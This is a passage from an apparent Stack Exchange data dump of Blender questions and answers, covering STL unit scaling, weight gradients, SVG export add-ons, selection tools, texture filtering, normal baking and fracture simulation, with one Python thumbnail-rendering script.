  <row Id="6667" PostTypeId="2" ParentId="6666" CreationDate="2014-01-31T17:33:54.467" Score="8" Body="&lt;p&gt;Although there are &lt;a href=&quot;http://www.facebook.com/help/218673814818907&quot; rel=&quot;nofollow noreferrer&quot;&gt;plenty of formats&lt;/a&gt; that are currently supported by Facebook, when uploading to the online video sites, I personally like to choose &lt;strong&gt;H.264&lt;/strong&gt; format, and simply choose the same in the &lt;strong&gt;Preset&lt;/strong&gt; list in &lt;strong&gt;Encoding&lt;/strong&gt; panel after that. Then give it a tweak if you want. The result format is &lt;strong&gt;*.avi&lt;/strong&gt; in this case. Of course you can also try &lt;strong&gt;Xvid&lt;/strong&gt; and others, as long as  they can be well supported by those sites. FYI and good luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZizDB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-01-31T17:40:24.877" LastActivityDate="2014-01-31T17:40:24.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6668" PostTypeId="1" AcceptedAnswerId="6670" CreationDate="2014-01-31T20:22:05.647" Score="2" ViewCount="12675" Body="&lt;p&gt;I export my CAD models, which I create on &lt;a href=&quot;http://www.ptc.com/product/creo/&quot; rel=&quot;nofollow&quot;&gt;Creo&lt;/a&gt; 2.0 (originally called Wildfire 5.0) as &lt;code&gt;STL&lt;/code&gt; files, and import them into blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I compare their sizes, the objects shown in blender are usually bigger than the objects shown on my CAD program by approximately a factor 10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did blender confuses the unit? Because when I exported the object as an &lt;code&gt;STL&lt;/code&gt; file, it didn't give me an option to set the unit. Is there a default unit for STL files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The units I usually work with on Creo 2.0 are &lt;code&gt;mm&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2248" LastEditorUserId="599" LastEditDate="2014-01-31T20:28:14.497" LastActivityDate="2017-07-04T00:41:23.307" Title="Why is my object in blender bigger by approximately a factor 10 than in my CAD program?" Tags="&lt;import&gt;&lt;units&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6669" PostTypeId="1" CreationDate="2014-01-31T20:46:23.110" Score="1" ViewCount="225" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WqpjV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know if there is a tool to make a degrade effect , i say the start and finish and weight to weight or something like that ..&lt;/p&gt;&#xA;" OwnerDisplayName="user2087" LastActivityDate="2014-01-31T20:56:26.567" Title="Weight Painting Degrade Effect?" Tags="&lt;weight-painting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6670" PostTypeId="2" ParentId="6668" CreationDate="2014-01-31T20:53:59.013" Score="5" Body="&lt;p&gt;Blender's default unit system is &lt;code&gt;None&lt;/code&gt;, so it uses its own &quot;Blender Units&quot; (BU). But if you switch it to &lt;code&gt;Metric&lt;/code&gt; in the &lt;em&gt;Scene&lt;/em&gt; tab (&lt;em&gt;Properties Editor&lt;/em&gt;), you'll notice that nothing changed. And &lt;strong&gt;1 BU&lt;/strong&gt; will now be &lt;strong&gt;1m&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;Metric&lt;/code&gt; enabled, there will be a property available called scene &lt;em&gt;Scale&lt;/em&gt;. You can set it to &lt;code&gt;0.1&lt;/code&gt; to correct the scaling problem (granted, it's really 1:10). But I worry not all exporters will respect it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it might be better so &lt;em&gt;Select All&lt;/em&gt; objects (&lt;kbd&gt;A&lt;/kbd&gt;) and scale everything down (&lt;kbd&gt;S&lt;/kbd&gt;, type &lt;code&gt;0.1&lt;/code&gt;, &lt;kbd&gt;Enter&lt;/kbd&gt;). Make sure the scaling center is the scene origin &lt;code&gt;(0,0,0)&lt;/code&gt;, e.g. reset the &lt;em&gt;3D Cursor&lt;/em&gt; (&lt;kbd&gt;N&lt;/kbd&gt;-sidebar, right-click on one of the 3 value fields and click &lt;em&gt;Reset All to Default Values&lt;/em&gt;, or press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;) and use it as &lt;em&gt;Pivot Point&lt;/em&gt; (press &lt;kbd&gt;.&lt;/kbd&gt;).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="599" LastEditDate="2014-01-31T20:58:07.953" LastActivityDate="2014-01-31T20:58:07.953" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6671" PostTypeId="2" ParentId="6669" CreationDate="2014-01-31T20:56:26.567" Score="3" Body="&lt;p&gt;There is a &lt;em&gt;gradient tool&lt;/em&gt;, if that's what your looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Activate it with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;LMB&lt;/kbd&gt; or by pressing &lt;em&gt;Weight Gradient&lt;/em&gt; in the &lt;em&gt;3D view &gt; Tool shelf &gt; Weight Tools&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dVJdL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-01-31T20:56:26.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6672" PostTypeId="2" ParentId="6659" CreationDate="2014-01-31T22:22:28.120" Score="11" Body="&lt;p&gt;The built-in &lt;a href=&quot;https://docs.blender.org/manual/en/latest/editors/info/screen_capture.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Screencast&lt;/a&gt; tool is configurable such that you only get one frame every few seconds... or minutes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the docs:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The default settings will generate a screencast consisting of a series of PNG images captured every 50 ms... The FPS for video Screencasts and time between each Screenshot for an image series Screencast can be set from the System panel of the User Preferences window.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you're wanting a fixed-position shot of the current state of your model, though, this won't work. It'll just take a screenshot of whatever your Blender screen looks like at that moment.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="67269" LastEditDate="2019-01-10T01:10:17.050" LastActivityDate="2019-01-10T01:10:17.050" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="6673" PostTypeId="2" ParentId="6650" CreationDate="2014-01-31T23:01:42.677" Score="1" Body="&lt;p&gt;In short, adding all those values together is making bump values that are larger than the reasonable range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The add nodes don't do anything magical. They are doing exactly what it sounds like ;-) They're adding numbers together. In the case of bump, full normal distortion is 1 (tallest value), no normal distortion is 0 (shallowest value).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;50% grey plus 50% grey is 100% white, which is full bump distortion. 75% grey plus 75% grey is.... a color that Blender doesn't know what to do with... which is a bump distortion that Blender doesn't know what to do with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those add nodes shouldn't have anything to do with color. You can't necessarily expect that the color you want is also exactly the bump value that you want. You should manipulate the color of your shader seperately from the bump of your shader, even if you have to input the same image twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-01-31T23:01:42.677" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6674" PostTypeId="1" CreationDate="2014-01-31T23:47:10.697" Score="1" ViewCount="1242" Body="&lt;p&gt;I've been experimenting with multiple scenes in Blender. I put together 3 separate scenes. All the scenes use text and the orthographic camera. What I am attempting to do is create a simple text pre-roll for videos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway each scene is a copy of the previous scene with different text. Each scene had 60 frames. So when I put all this together I went into the sequence video editor and simply added the different scenes. I selected all the scenes and tried rendering the entire animation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had all the scenes selected and staggered out so they weren't on top of each other in the sequence. When I set my animation to 180 frames and tried to render it all out as a single H264 it didn't work. Then I placed all the strips from front to back and made a mega-strip and tried again. This didn't work either. It looks like my only option is to render each scene individually and then put them together as movies in the video editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if this can be done just using the scenes in the video editor?&lt;/p&gt;&#xA;" OwnerUserId="2084" LastEditorUserId="599" LastEditDate="2014-02-01T04:10:29.730" LastActivityDate="2014-02-01T04:10:29.730" Title="Multiple scenes with the VSE?" Tags="&lt;video-sequence-editor&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6675" PostTypeId="1" AcceptedAnswerId="6677" CreationDate="2014-02-01T03:02:38.397" Score="32" ViewCount="26503" Body="&lt;p&gt;Is it possible to convert/export 2D curves to an &lt;code&gt;svg&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you could render it to a raster image and then convert it with inkscape/potrace, but it would be nice if you could keep the splines the way they are in blender.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="2217" LastEditDate="2014-10-03T00:10:14.447" LastActivityDate="2020-06-09T11:00:36.023" Title="Can blender export 2D curves to svg?" Tags="&lt;export&gt;&lt;bezier-curves&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="17" ContentLicense="CC BY-SA 3.0" />
  <row Id="6676" PostTypeId="2" ParentId="6674" CreationDate="2014-02-01T04:03:13.040" Score="2" Body="&lt;p&gt;It looks good to me. It may due to the render settings among the scenes, especially the one where your VSE sequence locates, since separate scenes have separate settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is &lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/26612&quot; rel=&quot;nofollow&quot;&gt;demo file&lt;/a&gt;&lt;/strong&gt;. FYI, hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="599" LastEditDate="2014-02-01T04:05:12.917" LastActivityDate="2014-02-01T04:05:12.917" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6677" PostTypeId="2" ParentId="6675" CreationDate="2014-02-01T05:19:08.037" Score="33" Body="&lt;p&gt;You can try Liero's addon &lt;strong&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?282824-SVG-output-script&quot; rel=&quot;nofollow noreferrer&quot;&gt;Viewport to SVG&lt;/a&gt;&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.dropbox.com/s/keur0yo5w4ipohw/export_svg_280.py?dl=1&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download&lt;/a&gt;, &lt;a href=&quot;https://blender.stackexchange.com/questions/1688/installing-an-addon&quot;&gt;install and enable add-on&lt;/a&gt;. &lt;/li&gt;&#xA;&lt;li&gt;Add-on appears in properties panel of 3D View window (N).&lt;/li&gt;&#xA;&lt;li&gt;Setup output directory&lt;/li&gt;&#xA;&lt;li&gt;Check &lt;strong&gt;Bezier Overlay&lt;/strong&gt; option&lt;/li&gt;&#xA;&lt;li&gt;Select curve objects you want to export and hit &quot;Export SVG&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The final shape is determined by point of view (perspective/orthogonal). &#xA;Addon exports all selected curve objects (3D curves as well).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/16RPw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Bezier curve is exported with strange looking poly line version.&#xA;In Inkscape - click on this path and delete. In Illustrator – first Ungroup once (&lt;kbd&gt;Cmd&lt;/kbd&gt;/&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;G&lt;/kbd&gt;), than select and delete.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There is another add-on called &lt;strong&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Import-Export/Inkscape_SVG_Exporter&quot; rel=&quot;nofollow noreferrer&quot;&gt;Export SVG Format&lt;/a&gt;&lt;/strong&gt;, which exports only active object. Shape of curve is determined by &quot;Local Z&quot; axis in Orthogonal view.&#xA;Addon is a bit messed up with naming – downloaded script is called &quot;exporter.py&quot;, in blender's user preferences appears as &quot;Export SVG Format&quot; and in blender's File menu under Export you will find it as &quot;Inkscape SVG&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B80fu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both addons exports only paths (no fills).&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="22220" LastEditDate="2020-06-09T11:00:36.023" LastActivityDate="2020-06-09T11:00:36.023" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="6678" PostTypeId="2" ParentId="6654" CreationDate="2014-02-01T05:30:38.490" Score="2" Body="&lt;p&gt;Ok, I've written a script that solves the question in my own specific context. The following script works when the render job is rendering one frame in the sequence per Blender instance. That works fine for me since the context I'm using it in is a render farm (Brenda with AWS) which handles each frame in the animation queue as an individual render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CAVEAT:&lt;/strong&gt; This does not work when trying to render the whole frame range from one instance of Blender as the Event Handler only fires after the last frame is rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;thumbnail.py&lt;/strong&gt; (to be called as part of the command line job launch)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class Thumbnail:&#xA;&#xA;doneThumbRender = bpy.props.BoolProperty()&#xA;doneThumbRender = False &#xA;lastFullFramePath = bpy.props.StringProperty()&#xA;bpy.context.scene.frame_current = bpy.context.scene.frame_start&#xA;outThumbnailWidth = bpy.props.IntProperty()&#xA;&#xA;def callbackFunc(context):&#xA;&#xA;    lastFullFramePath = bpy.context.scene.render.frame_path(frame=bpy.context.scene.frame_current)&#xA;&#xA;    if bpy.data.scenes.find(&quot;THUMB&quot;) &amp;lt; 0:&#xA;&#xA;        #Set up Thumbnail Scene         &#xA;        bpy.ops.scene.new()&#xA;        thumbScn = bpy.data.scenes[1]&#xA;        thumbScn.name = &quot;THUMB&quot;&#xA;        bpy.data.screens['Default'].scene = bpy.data.scenes['THUMB']&#xA;        bpy.data.scenes['THUMB'].render.engine = &quot;CYCLES&quot;&#xA;&#xA;        #Setup Composite nodes to resize source image&#xA;        bpy.context.scene.use_nodes = True&#xA;        inputImageLoc = lastFullFramePath &#xA;        Scene = bpy.context.scene&#xA;        Tree = Scene.node_tree&#xA;        Src = Tree.nodes[&quot;Render Layers&quot;]&#xA;        Dst = Tree.nodes[&quot;Composite&quot;]&#xA;&#xA;        #Create input image node for large source image&#xA;        imageNode = Tree.nodes.new('CompositorNodeImage')&#xA;        imageNode.name = &quot;INPUTIMAGE&quot;&#xA;&#xA;        #Scale Node&#xA;        scaleNode = Tree.nodes.new('CompositorNodeScale')&#xA;        scaleNode.space = &quot;RENDER_SIZE&quot;&#xA;        imageNode.image = bpy.data.images.load( inputImageLoc )&#xA;        Tree.links.new(scaleNode.inputs[0], imageNode.outputs[0])&#xA;        Tree.links.new(Dst.inputs[0], scaleNode.outputs[0])&#xA;&#xA;        inputImageXSize = Scene.node_tree.nodes['INPUTIMAGE'].image.size[0]&#xA;        inputImageYSize = Scene.node_tree.nodes['INPUTIMAGE'].image.size[1]&#xA;&#xA;        #Calc new render height based on new thumbnail width as aspect ratio of source image&#xA;        newRenderHeight = ((outThumbnailWidth/inputImageXSize)*inputImageYSize)&#xA;&#xA;        #Set Thumb Scene Render settings&#xA;        Scene.render.resolution_percentage = 100&#xA;        Scene.render.resolution_x = outThumbnailWidth&#xA;        Scene.render.resolution_y = newRenderHeight&#xA;        Scene.render.filepath = &quot;//out/thumb&quot;&#xA;        Scene.render.image_settings.file_format =&quot;JPEG&quot;&#xA;        Scene.render.image_settings.color_mode = &quot;RGB&quot;&#xA;        Scene.cycles.samples = 1&#xA;        Scene.frame_start = bpy.data.scenes['Scene'].frame_current&#xA;        Scene.frame_end = Scene.frame_start &#xA;        bpy.data.scenes['THUMB'].frame_current = Scene.frame_start&#xA;&#xA;        #Check for camera in Thumb Scene and add if missing&#xA;        numCams = 0&#xA;&#xA;        for ob in Scene.objects:&#xA;            if ob.type == 'CAMERA':&#xA;                bpy.context.scene.camera = ob&#xA;                numCams + numCams + 1&#xA;                break &#xA;&#xA;        if numCams==0:&#xA;            bpy.ops.object.camera_add()&#xA;            for ob in Scene.objects:&#xA;                if ob.type == 'CAMERA':&#xA;                    bpy.context.scene.camera = ob&#xA;                    break &#xA;&#xA;        #Do Thumb Render&#xA;        if Thumbnail.doneThumbRender == False:&#xA;&#xA;            Scene = bpy.context.scene&#xA;            Tree = Scene.node_tree&#xA;            getImageNode = Tree.nodes[&quot;INPUTIMAGE&quot;] &#xA;            getImageNode.image = bpy.data.images.load(lastFullFramePath)&#xA;            bpy.ops.render.render(animation=True,scene=&quot;THUMB&quot;)&#xA;            doneThumbRender = True&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    if Thumbnail.callbackFunc not in bpy.app.handlers.render_complete:&#xA;        bpy.app.handlers.render_complete.append(Thumbnail.callbackFunc) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="894" LastActivityDate="2014-02-01T05:30:38.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6679" PostTypeId="1" AcceptedAnswerId="6681" CreationDate="2014-02-01T07:24:10.603" Score="15" ViewCount="44834" Body="&lt;p&gt;Is there any way to select touching/joined vertices/edges/faces in edit mode?&lt;/p&gt;&#xA;" OwnerUserId="2128" LastActivityDate="2020-10-21T15:26:52.057" Title="Select touching/joined vertices/edges/faces" Tags="&lt;editing&gt;&lt;selection-tools&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6680" PostTypeId="2" ParentId="6679" CreationDate="2014-02-01T07:51:25.377" Score="4" Body="&lt;p&gt;Press &lt;kbd&gt;B&lt;/kbd&gt; for border select, or &lt;kbd&gt;C&lt;/kbd&gt; for circle select, or hold and drag &lt;kbd&gt;LMB&lt;/kbd&gt; while holding &lt;kbd&gt;Ctrl&lt;/kbd&gt; to make a lasso select.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.:&lt;/strong&gt; For overlapped elements (if it is what you mean), It should be done in &lt;strong&gt;Wireframe&lt;/strong&gt; display mode, or toggle off the &lt;em&gt;Limit selection to visible&lt;/em&gt; button on the 3D View header.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-01T07:57:02.980" LastActivityDate="2014-02-01T07:57:02.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6681" PostTypeId="2" ParentId="6679" CreationDate="2014-02-01T07:53:59.643" Score="32" Body="&lt;p&gt;There are several ways:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Select at least one element (face/vert/etc.) and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; to &lt;em&gt;Select Linked&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;L&lt;/kbd&gt; while hovering over an element with the mouse to select all elements connected to that element.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select at least one element and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Numpad +&lt;/kbd&gt; to &lt;em&gt;Grow&lt;/em&gt; the selection until everything is selected.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select at least one face and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt; to select connected faces which have the same or similar normal/direction.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;If you meant you want to select &lt;strong&gt;all&lt;/strong&gt; elements that are connected to other elements, create/select a single vertex and press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;&lt;em&gt;&amp;gt; Amount of connecting edges&lt;/em&gt; (if you want don't want to select edges that don't connect to faces, use &lt;em&gt;Amount of adjacent faces&lt;/em&gt; instead), then press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt; to invert the selection.&lt;/p&gt;&#xA;&lt;p&gt;See &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/modeling/meshes/selecting/index.html#selecting&quot; rel=&quot;nofollow noreferrer&quot;&gt;the manual&lt;/a&gt; for a full list and description of all selection tools.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-21T15:26:52.057" LastActivityDate="2020-10-21T15:26:52.057" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="6682" PostTypeId="1" CreationDate="2014-02-01T08:16:04.587" Score="3" ViewCount="852" Body="&lt;p&gt;I have two meshes that I've joined to a single object.  I'm attempting to use the snap to mesh feature for each of the 6 vertices on the face of mesh 1 to snap them to different faces/edges on mesh 2.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I select the vertex I want to move, press &lt;kbd&gt;Y&lt;/kbd&gt; to constrain movement to only the Y-axis, and then it slides smoothly along the Y, not snapping to the face.  Is this behavior intentional?  Is there a better way to do what I'm doing while maintaining precision?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Blender 2.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gejop.png&quot; alt=&quot;The two meshes&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IEPpA.png&quot; alt=&quot;My settings for snapping to mesh&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2RLqf.png&quot; alt=&quot;Vertex not snapping to face&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2315" LastEditorUserId="599" LastEditDate="2014-02-01T08:35:35.917" LastActivityDate="2014-02-01T20:54:39.283" Title="Snap to mesh issues with Z and X axis constraints" Tags="&lt;mesh&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="6683" PostTypeId="1" AcceptedAnswerId="6685" CreationDate="2014-02-01T16:40:24.900" Score="3" ViewCount="2556" Body="&lt;p&gt;Is there any way to obtain Anisotropic Filtering with Blender Internal renders?  I have it enabled in User Preferences-&gt;System, but that only affects viewport rendering, and does not affect the full render.&lt;/p&gt;&#xA;" OwnerUserId="1897" LastActivityDate="2014-02-01T19:45:54.760" Title="How to get Anisotropic Filtering in Blender Internal?" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6684" PostTypeId="1" AcceptedAnswerId="6687" CreationDate="2014-02-01T19:16:17.213" Score="1" ViewCount="1787" Body="&lt;p&gt;i want the height map from the textures but I also want the heightmap from the high poly mesh so I can apply it to a low poly mesh. I want both in one heightmap but I don't know how to. please help&lt;/p&gt;&#xA;" OwnerUserId="2325" LastActivityDate="2014-02-04T20:27:18.023" Title="heightmap from textures and hight poly mesh to apply to low polly mesh?" Tags="&lt;rendering&gt;&lt;mesh&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6685" PostTypeId="2" ParentId="6683" CreationDate="2014-02-01T19:37:06.860" Score="4" Body="&lt;p&gt;Anisotropic filtering affects the sharpness of textures at oblique angles. The setting under Preferences -&gt; System affects only the OpenGL viewport (and games) as designed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender Internal renderer's texture filtering is controlled by the Image Sampling settings under the texture panel. Changing the value from the default &lt;code&gt;Box&lt;/code&gt; to something like &lt;code&gt;EWA&lt;/code&gt; with 32 samples should give very good result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9hk7Y.png&quot; alt=&quot;Image Sampling Settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Box Filter on the left, 32 tap EWA on the right&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gmAxs.jpg&quot; alt=&quot;Box Filter on the left, 32 tap EWA on the right&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="41" LastEditDate="2014-02-01T19:45:54.760" LastActivityDate="2014-02-01T19:45:54.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6686" PostTypeId="1" AcceptedAnswerId="6688" CreationDate="2014-02-01T20:00:49.423" Score="11" ViewCount="9032" Body="&lt;p&gt;How can I make a Ridged body simulation mesh so that it's solid under normal conditions, but if a heavy object collides with it, it bends as the force is transferred?&#xA;(i.e. like a ball through glass or a bullet through steel)&lt;/p&gt;&#xA;" OwnerUserId="1911" LastActivityDate="2017-03-17T19:02:31.357" Title="how do I make an object bend or break if hit with sufficient force?" Tags="&lt;physics&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="6687" PostTypeId="2" ParentId="6684" CreationDate="2014-02-01T20:39:54.817" Score="4" Body="&lt;p&gt;The basics: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Apply your texture as a normal map to your highpoly mesh.&lt;/li&gt;&#xA;&lt;li&gt;Unwrap the lowpoly mesh and add an image to it (to bake to).&lt;/li&gt;&#xA;&lt;li&gt;Select the highpoly, add the lowpoly to the selection (important to do this last). Bake normals.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With images:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Highpoly + lowpoly meshes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w78bj.png&quot; alt=&quot;highpoly+lowpoly&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Test render of highpoly + texture&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3WSY7.png&quot; alt=&quot;rendered highpoly (with texture as normal)&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a voronoi texture applied as normal map&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aoj2x.png&quot; alt=&quot;my normal texture&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bake setup and result.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WGWDf.png&quot; alt=&quot;baked texture&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2014-02-01T20:39:54.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6688" PostTypeId="2" ParentId="6686" CreationDate="2014-02-01T20:40:05.947" Score="19" Body="&lt;p&gt;Unfortunately, dynamic fracturing/destruction is not truly possible yet. Though there are some interesting experiments:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=ZfdTB2Rrzoc&quot; rel=&quot;noreferrer&quot;&gt;Blender Demolition - Proxy Mesh Utilization (Demo 6)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=8W_czCvLwJY&quot; rel=&quot;noreferrer&quot;&gt;Real-time Shattering Demolition physics in the BGE&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?207866&quot; rel=&quot;noreferrer&quot;&gt;BA thread with a patch developed by the author of the above videos&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However, you can fake fracturing with the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Object/Fracture&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Cell Fracture&lt;/em&gt; addon&lt;/a&gt; (which is bundled with blender, you can enable it in 